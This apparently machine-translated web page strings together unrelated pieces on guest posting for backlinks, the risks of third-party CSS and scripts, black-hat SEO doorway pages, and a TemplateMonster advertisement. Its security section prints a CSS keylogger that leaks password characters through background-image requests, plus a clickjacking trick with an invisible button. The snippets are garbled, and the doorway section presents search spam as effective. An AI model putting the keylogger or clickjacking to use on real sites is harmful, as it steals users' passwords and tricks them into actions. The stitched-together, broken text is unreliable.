WordPress. Links within the blog and to third-party resources

The law of PR says: “The more people know about you, the more clients will use the service!” The same goal is inherent in publishing your articles on a third-party resource. Each third party site is:

• New audience and, as a result, potential clients;
• An influx of traffic that exceeds the number of your visitors several times;
• Natural link to your website;
• Possible distribution of your articles (if interesting) on ​​social media. networks.

List of sites for free publication with backlink

Forums with a special section (webmasters.ru, maultalk.com)

What to look for when choosing a third-party site

Filters. A site that provides the opportunity for free placement may be under the AGS. By publishing links to your site in it, you risk losing your rankings or even worse – getting labeled as “Minusinsk”. RDS bar to the rescue.

TIC. Similar to the first option, the selected site may be under “Minusinsk”, in addition, links from sites with 0 TICs are more like “custom” ones.

Options for posting articles and their features

There are 2 ways to post articles on third-party sites:

• Full copying;
• Announcement.

Let's talk about the effectiveness of each method in more detail.

Posting an article on a third-party site in full copy with a link to the source

Quite a popular way of sharing information. The list of sites published just above allows you to post full articles. There is even a special field for a link to the source. Interesting articles quickly gain popularity, are discussed and liked. Everything would be fine, but there is a second side to the coin.

• By posting a full article on a third-party site, you are cutting off the flow of targeted traffic to your resource. After all, why go somewhere else when you can read the article on a third-party resource?
• The fight for superiority in search results. Surely the resources where you post your articles, even indexed ones, are ahead of your site in terms of ranking indicators (Traffic, Tits, Trust). There are many cases on the Internet when a page with a duplicate is ranked higher than the original.
• Uniqueness. Useful materials can be copied even without your help. By publishing a full article, you only increase the number of pages, reducing the uniqueness of your text. As a result, the page may sag in promoted queries.
• Problems with the update. In practice, I came across projects in which, when changing URLs (addresses) of pages, I had to completely rewrite the content. The reason for this is third-party sites with posted materials.

Posting announcements of articles with a link to the resource

This option involves publishing on a third-party site not the entire article, but a short announcement with a picture. And you can’t get away with it with just a headline. After all, we need to interest the audience enough to get a transition to our resource. The main problem is to make it as interesting as possible. And don’t just copy the first paragraph, but make it unique.

For social networks - the optimal volume of the announcement is 300 characters. The announcement can be written once and published on all sites.

As for portals, the announcement there should be larger, around 1000 characters. The audience of such portals is accustomed to first assessing the “usefulness” and then only making transitions.

Speaking about portals, it is necessary to take into account the requirements for publications. Where the uniqueness of the article is a must, write unique announcements. Where uniqueness is not important, publish what has already been written.

As a result we get:

• User interest in your publications.
• Traffic flow.
• Increase in reference mass.
• Maintaining the uniqueness of your content.

By the way, the announcement will serve as an excellent incentive to write interesting materials, and not just litter the Internet with articles.

Software feature

Simplify your work with publishing announcements on social media. networks using Open Graph markup. It allows you to write an announcement of the article. As a result, during a normal repost, the title, announcement and picture of the published link will be automatically inserted. You can check the visual display of open graph markup

We'll tell you how you can harm your website by using third-party CSS, JavaScript and other resources from other people's servers.

At the end of February, a keylogger partially using CSS appeared on the Internet. The attack using it is simple: for each character entered into a field with a certain type (for example, password), a request is generated to a third-party server, allegedly requesting a background image:

input ( background-image: url("http://localhost:3000/a"); )

background - image : url ("http://localhost:3000/a" ) ;

On the server, the sequence of requests can be registered and the entered password can be easily calculated.

During the discussion of the problem, some suggested that browser manufacturers work on a fix. Someone noticed that the problem is relevant only for sites using React-like frameworks, and shifted the blame onto them.

Third party pictures

< img src = "https://example.com/kitten.jpg" >

If you add this kind of image to your site, you will become dependent on example.com. They can trick you in different ways, for example, by deleting a picture - you will get a 404 instead of an image. Or they can simply replace the image of the cat with something less pleasant.

You can warn your users that the image was added from a third-party resource and you have no connection with it. This way you will protect yourself a little from trouble. But of course, adding a simple picture doesn't give you access to your passwords.

Third party scripts

This example is much more interesting for example.com, because by adding a script from their site you give them much more control over theirs. In this case example.com can:

• Read/change page content.
• Track every user action.
• Run code that is difficult to compute (for example, a crypto miner).
• Request cookies.
• Read/modify local storage.

In other words, example.com can do a lot of things now.

Interacting with local storage brings even more problems in the future. The third-party resource will have access to your site even after the script is removed from the page. If you add a third-party script to a site, you must absolutely trust the source and its security.

If you still encounter a bad script, try using Clear-Site-Data header.

Third Party CSS

< link rel = "stylesheet" href = "https://example.com/style.css" >

Third-party CSS code in terms of impact on the site is located between the image and the script. Alien CSS can:

• Delete/change/add content on the page.
• Make queries based on page content.
• React to many user actions.

CSS will not be able to interact with local storage and the cryptominer will not embed it on the page, but it can cause a lot of harm to the resource owner.

Keylogger

Let's slightly modify the CSS from the beginning of the article:

input ( background-image: url("/password?a"); )

input [ type = "password" ] [ value $ = "a" ] ( background - image : url ("/password?a" ) ;

This code will send data about the entered character “a” to the handler under the guise of a picture request. Repeat the code for each character and now you have a CSS keylogger.

By default, browsers don't store user-supplied characters in the value attribute, so this trick will work if you use something that syncs values ​​like this, like .

Of course, this problem can be solved on the side of React and similar frameworks. But then only a specific case will be solved, and other problems will remain.

Disappearing Content

body ( display: none; ) html::after ( content: "HTTP Server Server Error"; )

body ( display: none; html::after( content : "HTTP Server Server Error" ;

This is, of course, a very peculiar example, but still a working one. Imagine if your users, when entering the site, see an incomprehensible error instead of the usual main page. In the same way, third-party code can remove, for example, the “buy” button or do some other trouble.

Adding content

Price-value::before ( content: "1"; )

Price - value :: before ( content : "1" ;

And just like that, your prices skyrocketed.

Moving Content

Delete-everything-button ( opacity: 0; position: absolute; top: 500px; left: 300px; )

Delete - everything - button ( opacity: 0; position: absolute; top: 500px; left: 300px;

Take a button that does something terrible and that the user simply won't click, make it transparent and place it in a place where the user is sure to click.

Of course, if the button does something really important, the user will see a warning dialog first. But this is not a problem: it just needs more CSS. For example, you can change the content of a button from “Oh my God, no!” to “Of course, I'm sure.”

Imagine if browser makers fixed the keylogger trick. Attackers simply place an extra text field on top of an important password field and they are back to business.

Reading attributes

The value and other attributes do not necessarily store passwords: an attacker may find something else interesting.

< / div >

All this data can be collected with CSS selectors and sent wherever it should be.

Doorway (syn. dor, from the English doorway, or front door) is a black hat SEO tool, a website created to redirect users to another Internet resource.

The site is useless from the point of view of the user, who often does not even have the opportunity to view its page. Doorway sites are often registered on free hosting.

Text content is often meaningless, consisting of fragments of sentences with a huge number of keywords. Such sites only clog up the Internet. The main goal of the portal is to be indexed and get into the search results.

Typology of doorways

With the advent of algorithms, the relevance of resources was calculated based on competent content and a well-organized semantic core. But it was not possible to design the resource pages for absolutely all requests while maintaining the readability of the material, which led to the inevitable emergence of doorways. After the advent of link ranking, this method of promotion appeared in its modern form, namely as redirecting users to another site and broadcasting link juice.

Among doorways, the following types can be roughly distinguished:

White Doors are law-abiding sites that may contain original content and high-quality graphics. Once on such a site, the user can follow links to get to the promoted resource.

Gray doors are sites whose main task is to convey the link, therefore the text materials on such sites are unique and understandable, and the links are inserted into the text environment. By enlisting the support of TCI and PR doorways, the main site can increase its link weight.

Black doors are sites whose main task is automatic redirection, or redirect, to a third-party resource, which is not welcomed by search engines. To implement this task, meta tags or java scripts are configured. Meaningless texts are placed on black doorways due to the fact that the user will not have time to read them anyway. The main goal is to promote the main site up in search results. The so-called Dorgens make a significant contribution to the creation of doorways, who “invent” texts with the required queries.

Doorways and SEO

Doorways are considered to be effective methods of website optimization. It is not difficult to avoid punishment from search engines - you just need to follow simple rules. It takes a lot of time to create roads and, in fact, their optimization is no different from promoting regular resources.

Doorways and search engines

For promotion by doorway systems, they are banned or pessimized. The Yandex rules state that sites that broadcast users to third-party resources will be classified as spam and removed from the index. But only doorways are banned or pessimized, with the exception of doors on the subdomain of the main address; the main site remains untouched.

But in fact, search engines rarely punish traffickers, since they can easily confuse them with quite reputable sites (for example, microsoft.ru) that redirect for good.

White and gray dors cannot be accused of spam at all.

How to deal with them?

As mentioned earlier, it is difficult for search engines to find doorways. Although algorithms are constantly updated and strive to identify and stop redirection attempts using meta tags and scripts, the development of doorways does not stand still, and webmasters are constantly adding innovative methods for redirecting users.

Any website owner wants to have a beautiful design! So, the question arises, how to get a high-quality design for a web resource, quickly and at an affordable price?

Website design development using third-party resources

What are third party resources? It will not be news to anyone that to create a website, if you yourself don’t know where to start, you will need a developer and designer. When involving these masters in your work, you should be prepared for the fact that everything will not work out quickly.

Each specialist has his own vision and each has his own understanding of what “right” is. Therefore, be prepared to defend your opinion. All such disputes and alterations take a lot of time, effort and money, since the services of developers and designers are not cheap.

Considering the above, the question arises: “Why involve third-party resources to create a website?” Oddly enough, there are certain advantages. Firstly, such cooperation allows you to create not only a beautiful design for the site, but also a completely unique one. Secondly, you can implement the layout for your web resource that you have always dreamed of, even the most complex one filled with all sorts of sections and menus of varying complexity.

Create beautiful designs using templates

Templates are ready-made designs that you can use to create a website. If you want to create a website to work on a specific CMS, then you can choose a template that is designed specifically for this platform.

What are the benefits of using templates? Having looked at the screenshots above, or more precisely the price of the proposed layouts from the TemplateMonster company, we can definitely say that the pricing policy for templates is very loyal.

For little money you get not only a beautiful design, but also modern functionality. In addition, all templates are customizable, so even if something in the layout design does not suit you, you can change or delete it. Thanks to the user-friendly interface of the admin panel, you can easily navigate the available settings without requiring outside help, which will significantly save time and budget.

Most templates are responsive, which makes it possible to create a functional website that can work on any type of device. Another characteristic that is clearly worth considering when choosing the right template is versatility!

The TemplateMonster team has developed a certain type of templates that can be used for websites of various types, for example, an online store or a blog, as well as for resources on various topics (construction, furniture store, etc.).

And finally, the most important advantage of working with TemplateMonster ready-made layouts is that when you purchase a theme, you get access to free 24/7 technical support. Therefore, if you have questions related to how to install or configure the purchased theme, you can get qualified help!

Beautiful website designs are the first step to success! Users, when opening a website, first visually evaluate the resource, and then look at what information is on it. Therefore, if you want to have a large number of clients, readers or buyers, it is important to be able to attract their attention at first glance, so that they do not leave your site forever. And how to do it? That's right, use a beautiful design for your resource that can interest and arouse the interest of users.

When deciding how to create a website (create from scratch or use a template), it is important to determine the main tasks for the resource, which will allow you to choose the most suitable method. Of course, you can take on developing a web page yourself, especially since you know better than anyone what you need! But, in this case, a certain level of skills and knowledge will be required.

If you don’t have all this, but you really want to create a design for the site yourself, opt for TemplateMonster templates. Here you don’t need any great skills and everything is clear even for a novice user!